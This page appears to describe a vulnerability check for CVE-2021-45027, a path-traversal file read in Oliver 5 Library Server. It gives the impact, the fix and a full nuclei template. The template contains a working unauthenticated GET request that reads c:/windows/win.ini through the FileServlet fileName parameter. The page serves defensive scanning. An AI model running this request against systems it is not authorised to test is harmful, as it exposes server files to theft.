Oliver 5 Library Server <8.00.008.053 - Local File Inclusion

highseverity

7.5CVSS score

2%likelihood of exploitation, next 30 days

81%of all CVEs are less likely

Readycheck to confirm it

Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.

Impact

Unauthenticated attackers can read arbitrary files from the Windows server including win.ini via path traversal in the fileName parameter.

Fix

Upgrade to Oliver 5 Library Server version 8.00.008.053 or later.

How to confirm it

Send: GET {{BaseURL}}/oliver/FileServlet?source=serverFile&fileName=c:/windows/win.ini
Positive when: contains "bit app support" and "fonts" and "extensions"

Run it with nuclei: nuclei -id CVE-2021-45027 -u <target>

The full check

id: CVE-2021-45027

info:
  name: Oliver 5 Library Server <8.00.008.053 - Local File Inclusion
  author: gy741
  severity: high
  description: Oliver 5 Library Server versions prior to 8.00.008.053 are vulnerable to local file inclusion via the FileServlet function.
  impact: |
    Unauthenticated attackers can read arbitrary files from the Windows server including win.ini via path traversal in the fileName parameter.
  remediation: |
    Upgrade to Oliver 5 Library Server version 8.00.008.053 or later.
  reference:
    - https://www.exploit-db.com/exploits/50599
    - https://www.softlinkint.com/product/oliver/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45027
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45027
    epss-score: 0.01969
    epss-percentile: 0.80563
    cwe-id: CWE-22
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2021,lfi,oliver,edb,windows,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/oliver/FileServlet?source=serverFile&fileName=c:/windows/win.ini"

    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from